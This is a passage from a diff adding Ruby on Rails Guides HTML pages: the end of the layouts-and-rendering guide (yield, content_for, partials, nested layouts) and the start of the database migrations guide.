+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= audio_tag &quot;music.mp3&quot; %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>You can supply a path to the audio file if you like:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= audio_tag &quot;music/first_song.mp3&quot; %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>You can also supply a hash of additional options, such as <tt>:id</tt>, <tt>:class</tt> etc.</p>
+<p>Like the <tt>video_tag</tt>, the <tt>audio_tag</tt> has special options:</p>
+<ul>
+	<li><tt>:autoplay => true</tt>, starts playing the audio on page load</li>
+	<li><tt>:controls => true</tt>, provides browser supplied controls for the user to interact with the audio.</li>
+	<li><tt>:autobuffer => true</tt>, the audio will pre load the file for the user on page load.</li>
+</ul>
+<h4 id="understanding-yield">3.2 Understanding <tt>yield</tt></h4>
+<p>Within the context of a layout, <tt>yield</tt> identifies a section where content from the view should be inserted. The simplest way to use this is to have a single <tt>yield</tt>, into which the entire contents of the view currently being rendered is inserted:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;html&gt;
+  &lt;head&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+  &lt;%= yield %&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+</notextile>
+
+<p>You can also create a layout with multiple yielding regions:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;html&gt;
+  &lt;head&gt;
+  &lt;%= yield :head %&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+  &lt;%= yield %&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+</notextile>
+
+<p>The main body of the view will always render into the unnamed <tt>yield</tt>. To render content into a named <tt>yield</tt>, you use the <tt>content_for</tt> method.</p>
+<h4 id="using-content_for">3.3 Using <tt>content_for</tt></h4>
+<p>The <tt>content_for</tt> method allows you to insert content into a <tt>yield</tt> block in your layout. You only use <tt>content_for</tt> to insert content in named yields. For example, this view would work with the layout that you just saw:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;% content_for :head do %&gt;
+  &lt;title&gt;A simple page&lt;/title&gt;
+&lt;% end %&gt;
+
+&lt;p&gt;Hello, Rails!&lt;/p&gt;
+</pre>
+</div>
+</notextile>
+
+<p>The result of rendering this page into the supplied layout would be this <span class="caps">HTML</span>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;html&gt;
+  &lt;head&gt;
+  &lt;title&gt;A simple page&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+  &lt;p&gt;Hello, Rails!&lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>content_for</tt> method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It&#8217;s also useful for inserting tags that load page-specific javascript or css files into the header of an otherwise generic layout.</p>
+<h4 id="using-partials">3.4 Using Partials</h4>
+<p>Partial templates &#8211; usually just called &#8220;partials&#8221; &#8211; are another device for breaking apart the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.</p>
+<h5 id="naming-partials">3.4.1 Naming Partials</h5>
+<p>To render a partial as part of a view, you use the <tt>render</tt> method within the view:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&lt;%= render &quot;menu&quot; %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>This will render a file named <tt>_menu.html.erb</tt> at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you&#8217;re pulling in a partial from another folder:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&lt;%= render &quot;shared/menu&quot; %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>That code will pull in the partial from <tt>app/views/shared/_menu.html.erb</tt>.</p>
+<h5 id="using-partials-to-simplify-views">3.4.2 Using Partials to Simplify Views</h5>
+<p>One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what&#8217;s going on more easily. For example, you might have a view that looked like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= render &quot;shared/ad_banner&quot; %&gt;
+
+&lt;h1&gt;Products&lt;/h1&gt;
+
+&lt;p&gt;Here are a few of our fine products:&lt;/p&gt;
+...
+
+&lt;%= render &quot;shared/footer&quot; %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Here, the <tt>_ad_banner.html.erb</tt> and <tt>_footer.html.erb</tt> partials could contain content that is shared among many pages in your application. You don&#8217;t need to see the details of these sections when you&#8217;re concentrating on a particular page.</p>
+<div class='info'><p>For content that is shared among all pages in your application, you can use partials directly from layouts.</p></div>
+<h5 id="partial-layouts">3.4.3 Partial Layouts</h5>
+<p>A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= render &quot;link_area&quot;, :layout =&gt; &quot;graybar&quot; %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>This would look for a partial named <tt>_link_area.html.erb</tt> and render it using the layout <tt>_graybar.html.erb</tt>. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master <tt>layouts</tt> folder).</p>
+<h5 id="passing-local-variables">3.4.4 Passing Local Variables</h5>
+<p>You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content:</p>
+<ul>
+	<li><tt>new.html.erb</tt></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;h1&gt;New zone&lt;/h1&gt;
+&lt;%= error_messages_for :zone %&gt;
+&lt;%= render :partial =&gt; &quot;form&quot;, :locals =&gt; { :zone =&gt; @zone } %&gt;
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li><tt>edit.html.erb</tt></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;h1&gt;Editing zone&lt;/h1&gt;
+&lt;%= error_messages_for :zone %&gt;
+&lt;%= render :partial =&gt; &quot;form&quot;, :locals =&gt; { :zone =&gt; @zone } %&gt;
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li><tt>_form.html.erb</tt></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= form_for(zone) do |f| %&gt;
+  &lt;p&gt;
+    &lt;b&gt;Zone name&lt;/b&gt;&lt;br /&gt;
+    &lt;%= f.text_field :name %&gt;
+  &lt;/p&gt;
+  &lt;p&gt;
+    &lt;%= f.submit %&gt;
+  &lt;/p&gt;
+&lt;% end %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Although the same partial will be rendered into both views, Action View&#8217;s submit helper will return &#8220;Create Zone&#8221; for the new action and &#8220;Update Zone&#8221; for the edit action.</p>
+<p>Every partial also has a local variable with the same name as the partial (minus the underscore). You can pass an object in to this local variable via the <tt>:object</tt> option:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= render :partial =&gt; &quot;customer&quot;, :object =&gt; @new_customer %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Within the <tt>customer</tt> partial, the <tt>customer</tt> variable will refer to <tt>@new_customer</tt> from the parent view.</p>
+<div class='warning'><p>In previous versions of Rails, the default local variable would look for an instance variable with the same name as the partial in the parent. This behavior was deprecated in 2.3 and has been removed in Rails 3.0.</p></div>
+<p>If you have an instance of a model to render into a partial, you can use a shorthand syntax:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= render @customer %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Assuming that the <tt>@customer</tt> instance variable contains an instance of the <tt>Customer</tt> model, this will use <tt>_customer.html.erb</tt> to render it and will pass the local variable <tt>customer</tt> into the partial which will refer to the <tt>@customer</tt> instance variable in the parent view.</p>
+<h5 id="rendering-collections">3.4.5 Rendering Collections</h5>
+<p>Partials are very useful in rendering collections. When you pass a collection to a partial via the <tt>:collection</tt> option, the partial will be inserted once for each member in the collection:</p>
+<ul>
+	<li><tt>index.html.erb</tt></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;h1&gt;Products&lt;/h1&gt;
+&lt;%= render :partial =&gt; &quot;product&quot;, :collection =&gt; @products %&gt;
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li><tt>_product.html.erb</tt></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;p&gt;Product Name: &lt;%= product.name %&gt;&lt;/p&gt;
+</pre>
+</div>
+</notextile>
+
+<p>When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is <tt>_product</tt>, and within the <tt>_product</tt> partial, you can refer to <tt>product</tt> to get the instance that is being rendered.</p>
+<p>In Rails 3.0 there is also a shorthand for this, assuming <tt>@products</tt> is a collection of <tt>product</tt> instances, you can simply do in the <tt>index.html.erb</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;h1&gt;Products&lt;/h1&gt;
+&lt;%= render @products %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>To produce the same result.</p>
+<p>Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection:</p>
+<ul>
+	<li><tt>index.html.erb</tt></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;h1&gt;Contacts&lt;/h1&gt;
+&lt;%= render [customer1, employee1, customer2, employee2] %&gt;
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li><tt>customers/_customer.html.erb</tt></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;p&gt;Customer: &lt;%= customer.name %&gt;&lt;/p&gt;
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li><tt>employees/_employee.html.erb</tt></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;p&gt;Employee: &lt;%= employee.name %&gt;&lt;/p&gt;
+</pre>
+</div>
+</notextile>
+
+<p>In this case, Rails will use the customer or employee partials as appropriate for each member of the collection.</p>
+<h5 id="local-variables">3.4.6 Local Variables</h5>
+<p>To use a custom local variable name within the partial, specify the <tt>:as</tt> option in the call to the partial:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= render :partial =&gt; &quot;product&quot;, :collection =&gt; @products, :as =&gt; :item %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>With this change, you can access an instance of the <tt>@products</tt> collection as the <tt>item</tt> local variable within the partial.</p>
+<p>You can also pass in arbitrary local variables to any partial you are rendering with the <tt>:locals => {}</tt> option:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= render :partial =&gt; 'products', :collection =&gt; @products,
+           :as =&gt; :item, :locals =&gt; {:title =&gt; &quot;Products Page&quot;} %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Would render a partial <tt>_products.html.erb</tt> once for each instance of <tt>product</tt> in the <tt>@products</tt> instance variable passing the instance to the partial as a local variable called <tt>item</tt> and to each partial, make the local variable <tt>title</tt> available with the value <tt>Products Page</tt>.</p>
+<div class='info'><p>Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by <tt>_counter</tt>. For example, if you&#8217;re rendering <tt>@products</tt>, within the partial you can refer to <tt>product_counter</tt> to tell you how many times the partial has been rendered.  This does not work in conjunction with the <tt>:as => :value</tt> option.</p></div>
+<p>You can also specify a second partial to be rendered between instances of the main partial by using the <tt>:spacer_template</tt> option:</p>
+<h5 id="spacer-templates">3.4.7 Spacer Templates</h5>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;%= render @products, :spacer_template =&gt; &quot;product_ruler&quot; %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Rails will render the <tt>_product_ruler</tt> partial (with no data passed in to it) between each pair of <tt>_product</tt> partials.</p>
+<h4 id="using-nested-layouts">3.5 Using Nested Layouts</h4>
+<p>You may find that your application requires a layout that differs slightly from your regular application layout to support one particular controller. Rather than repeating the main layout and editing it, you can accomplish this by using nested layouts (sometimes called sub-templates). Here&#8217;s an example:</p>
+<p>Suppose you have the following <tt>ApplicationController</tt> layout:</p>
+<ul>
+	<li><tt>app/views/layouts/application.html.erb</tt></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;&lt;%= @page_title or 'Page Title' %&gt;&lt;/title&gt;
+  &lt;%= stylesheet_link_tag 'layout' %&gt;
+  &lt;style type=&quot;text/css&quot;&gt;&lt;%= yield :stylesheets %&gt;&lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;div id=&quot;top_menu&quot;&gt;Top menu items here&lt;/div&gt;
+  &lt;div id=&quot;menu&quot;&gt;Menu items here&lt;/div&gt;
+  &lt;div id=&quot;content&quot;&gt;&lt;%= content_for?(:content) ? yield(:content) : yield %&gt;&lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+</notextile>
+
+<p>On pages generated by <tt>NewsController</tt>, you want to hide the top menu and add a right menu:</p>
+<ul>
+	<li><tt>app/views/layouts/news.html.erb</tt></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; html-script: true; gutter: false; toolbar: false">
+&lt;% content_for :stylesheets do %&gt;
+  #top_menu {display: none}
+  #right_menu {float: right; background-color: yellow; color: black}
+&lt;% end %&gt;
+&lt;% content_for :content do %&gt;
+  &lt;div id=&quot;right_menu&quot;&gt;Right menu items here&lt;/div&gt;
+  &lt;%= yield(:news_content) or yield %&gt;
+&lt;% end %&gt;
+&lt;%= render :file =&gt; 'layouts/application' %&gt;
+</pre>
+</div>
+</notextile>
+
+<p>That&#8217;s it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the &#8220;content&#8221; div.</p>
+<p>There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the <tt>ActionView::render</tt> method via <tt>render :file => 'layouts/news'</tt> to base a new layout on the News layout. If you are sure you will not subtemplate the <tt>News</tt> layout, you can replace the <tt>yield(:news_content) or yield</tt> with simply <tt>yield</tt>.</p>
+<h3 id="changelog">4 Changelog</h3>
+<p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/15">Lighthouse ticket</a></p>
+<ul>
+	<li>April 4, 2010: Fixed document to validate <span class="caps">XHTML</span> 1.0 Strict. <a href="http://jaimeiniesta.com">Jaime Iniesta</a></li>
+	<li>January 25, 2010: Rails 3.0 Update by <a href="credits.html#raasdnil">Mikel Lindsaar</a></li>
+	<li>December 27, 2008: Merge patch from Rodrigo Rosenfeld Rosas covering subtemplates</li>
+	<li>December 27, 2008: Information on new rendering defaults by <a href="credits.html#mgunderloy">Mike Gunderloy</a></li>
+	<li>November 9, 2008: Added partial collection counter by <a href="credits.html#mgunderloy">Mike Gunderloy</a></li>
+	<li>November 1, 2008: Added <tt>:js</tt> option for <tt>render</tt> by <a href="credits.html#mgunderloy">Mike Gunderloy</a></li>
+	<li>October 16, 2008: Ready for publication by <a href="credits.html#mgunderloy">Mike Gunderloy</a></li>
+	<li>October 4, 2008: Additional info on partials (<tt>:object</tt>, <tt>:as</tt>, and <tt>:spacer_template</tt>) by <a href="credits.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)</li>
+	<li>September 28, 2008: First draft by <a href="credits.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)</li>
+</ul>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/migrations.html
@@ -0,0 +1,755 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: Migrations</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>Migrations</h2>
+<p>Migrations are a convenient way for you to alter your database in a structured and organized manner. You could edit fragments of <span class="caps">SQL</span> by hand but you would then be responsible for telling other developers that they need to go and run them. You&#8217;d also have to keep track of which changes need to be run against the production machines next time you deploy.</p>
+<p>Active Record tracks which migrations have already been run so all you have to do is update your source and run <tt>rake db:migrate</tt>. Active Record will work out which migrations should be run. It will also update your <tt>db/schema.rb</tt> file to match the structure of your database.</p>
+<p>Migrations also allow you to describe these transformations using Ruby. The great thing about this is that (like most of Active Record&#8217;s functionality) it is database independent: you don&#8217;t need to worry about the precise syntax of <tt>CREATE TABLE</tt> any more than you worry about variations on <tt>SELECT *</tt> (you can drop down to raw <span class="caps">SQL</span> for database specific features). For example you could use SQLite3 in development, but MySQL in production.</p>
+<p>You&#8217;ll learn all about migrations including:</p>
+<ul>
+	<li>The generators you can use to create them</li>
+	<li>The methods Active Record provides to manipulate your database</li>
+	<li>The Rake tasks that manipulate them</li>
+	<li>How they relate to <tt>schema.rb</tt></li>
+</ul>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#anatomy-of-a-migration">Anatomy of a Migration</a><ul><li><a href="#migrations-are-classes">Migrations are Classes</a></li> <li><a href="#what-s-in-a-name">What&#8217;s in a Name</a></li> <li><a href="#changing-migrations">Changing Migrations</a></li></ul></li><li><a href="#creating-a-migration">Creating a Migration</a><ul><li><a href="#creating-a-model">Creating a Model</a></li> <li><a href="#creating-a-standalone-migration">Creating a Standalone Migration</a></li></ul></li><li><a href="#writing-a-migration">Writing a Migration</a><ul><li><a href="#creating-a-table">Creating a Table</a></li> <li><a href="#changing-tables">Changing Tables</a></li> <li><a href="#special-helpers">Special Helpers</a></li> <li><a href="#writing-your-down-method">Writing Your <tt>down</tt> Method</a></li></ul></li><li><a href="#running-migrations">Running Migrations</a><ul><li><a href="#rolling-back">Rolling Back</a></li> <li><a href="#being-specific">Being Specific</a></li> <li><a href="#being-talkative">Being Talkative</a></li></ul></li><li><a href="#using-models-in-your-migrations">Using Models in Your Migrations</a><ul><li><a href="#dealing-with-changing-models">Dealing with Changing Models</a></li></ul></li><li><a href="#schema-dumping-and-you">Schema Dumping and You</a><ul><li><a href="#what-are-schema-files-for">What are Schema Files for?</a></li> <li><a href="#types-of-schema-dumps">Types of Schema Dumps</a></li> <li><a href="#schema-dumps-and-source-control">Schema Dumps and Source Control</a></li></ul></li><li><a href="#active-record-and-referential-integrity">Active Record and Referential Integrity</a></li><li><a href="#changelog">Changelog</a></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <h3 id="anatomy-of-a-migration">1 Anatomy of a Migration</h3>
+<p>Before I dive into the details of a migration, here are a few examples of the sorts of things you can do:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class CreateProducts &lt; ActiveRecord::Migration
+  def self.up
+    create_table :products do |t|
+      t.string :name
+      t.text :description
+
+      t.timestamps
+    end
+  end
+
+  def self.down
+    drop_table :products
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>This migration adds a table called <tt>products</tt> with a string column called <tt>name</tt> and a text column called <tt>description</tt>. A primary key column called <tt>id</tt> will also be added, however since this is the default we do not need to ask for this. The timestamp columns <tt>created_at</tt> and <tt>updated_at</tt> which Active Record populates automatically will also be added. Reversing this migration is as simple as dropping the table.</p>
+<p>Migrations are not limited to changing the schema. You can also use them to fix bad data in the database or populate new fields:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class AddReceiveNewsletterToUsers &lt; ActiveRecord::Migration
+  def self.up
+    change_table :users do |t|
+      t.boolean :receive_newsletter, :default =&gt; false
+    end
+    User.update_all [&quot;receive_newsletter = ?&quot;, true]
+  end
+
+  def self.down
+    remove_column :users, :receive_newsletter
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>This migration adds a <tt>receive_newsletter</tt> column to the <tt>users</tt> table. We want it to default to <tt>false</tt> for new users, but existing users are considered
+to have already opted in, so we use the User model to set the flag to <tt>true</tt> for existing users.</p>
+<div class='note'><p>Some <a href="#using-models-in-your-migrations">caveats</a> apply to using models in your migrations.</p></div>
+<h4 id="migrations-are-classes">1.1 Migrations are Classes</h4>
+<p>A migration is a subclass of <tt>ActiveRecord::Migration</tt> that implements two class methods: <tt>up</tt> (perform the required transformations) and <tt>down</tt> (revert them).</p>
+<p>Active Record provides methods that perform common data definition tasks in a database independent way (you&#8217;ll read about them in detail later):</p>
+<ul>
+	<li><tt>create_table</tt></li>
+	<li><tt>change_table</tt></li>
+	<li><tt>drop_table</tt></li>
+	<li><tt>add_column</tt></li>
+	<li><tt>change_column</tt></li>
+	<li><tt>rename_column</tt></li>
+	<li><tt>remove_column</tt></li>
+	<li><tt>add_index</tt></li>
+	<li><tt>remove_index</tt></li>
+</ul>
+<p>If you need to perform tasks specific to your database (for example create a <a href="#active-record-and-referential-integrity">foreign key</a> constraint) then the <tt>execute</tt> function allows you to execute arbitrary <span class="caps">SQL</span>. A migration is just a regular Ruby class so you&#8217;re not limited to these functions. For example after adding a column you could write code to set the value of that column for existing records (if necessary using your models).</p>
+<p>On databases that support transactions with statements that change the schema (such as PostgreSQL or SQLite3), migrations are wrapped in a transaction. If the database does not support this (for example MySQL) then when a migration fails the parts of it that succeeded will not be rolled back. You will have to unpick the changes that were made by hand.</p>
+<h4 id="what-s-in-a-name">1.2 What&#8217;s in a Name</h4>
+<p>Migrations are stored in files in <tt>db/migrate</tt>, one for each migration class. The name of the file is of the form <tt>YYYYMMDDHHMMSS_create_products.rb</tt>, that is to say a <span class="caps">UTC</span> timestamp identifying the migration followed by an underscore followed by the name of the migration. The name of the migration class (CamelCased version) should match the latter part of the file name. For example <tt>20080906120000_create_products.rb</tt> should define <tt>CreateProducts</tt> and <tt>20080906120001_add_details_to_products.rb</tt> should define <tt>AddDetailsToProducts</tt>. If you do feel the need to change the file name then you <em>have to</em> update the name of the class inside or Rails will complain about a missing class.</p>
+<p>Internally Rails only uses the migration&#8217;s number (the timestamp) to identify them. Prior to Rails 2.1 the migration number started at 1 and was incremented each time a migration was generated. With multiple developers it was easy for these to clash requiring you to rollback migrations and renumber them. With Rails 2.1 this is largely avoided by using the creation time of the migration to identify them. You can revert to the old numbering scheme by adding the following line to <tt>config/application.rb</tt>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+config.active_record.timestamped_migrations = false
+</pre>
+</div>
+</notextile>
+
+<p>The combination of timestamps and recording which migrations have been run allows Rails to handle common situations that occur with multiple developers.</p>
+<p>For example Alice adds migrations <tt>20080906120000</tt> and <tt>20080906123000</tt> and Bob adds <tt>20080906124500</tt> and runs it. Alice finishes her changes and checks in her migrations and Bob pulls down the latest changes. Rails knows that it has not run Alice&#8217;s two migrations so <tt>rake db:migrate</tt> would run them (even though Bob&#8217;s migration with a later timestamp has been run), and similarly migrating down would not run their <tt>down</tt> methods.</p>
+<p>Of course this is no substitution for communication within the team. For example, if Alice&#8217;s migration removed a table that Bob&#8217;s migration assumed to exist, then trouble would certainly strike.</p>
+<h4 id="changing-migrations">1.3 Changing Migrations</h4>
+<p>Occasionally you will make a mistake when writing a migration. If you have already run the migration then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do nothing when you run <tt>rake db:migrate</tt>. You must rollback the migration (for example with <tt>rake db:rollback</tt>), edit your migration and then run <tt>rake db:migrate</tt> to run the corrected version.</p>
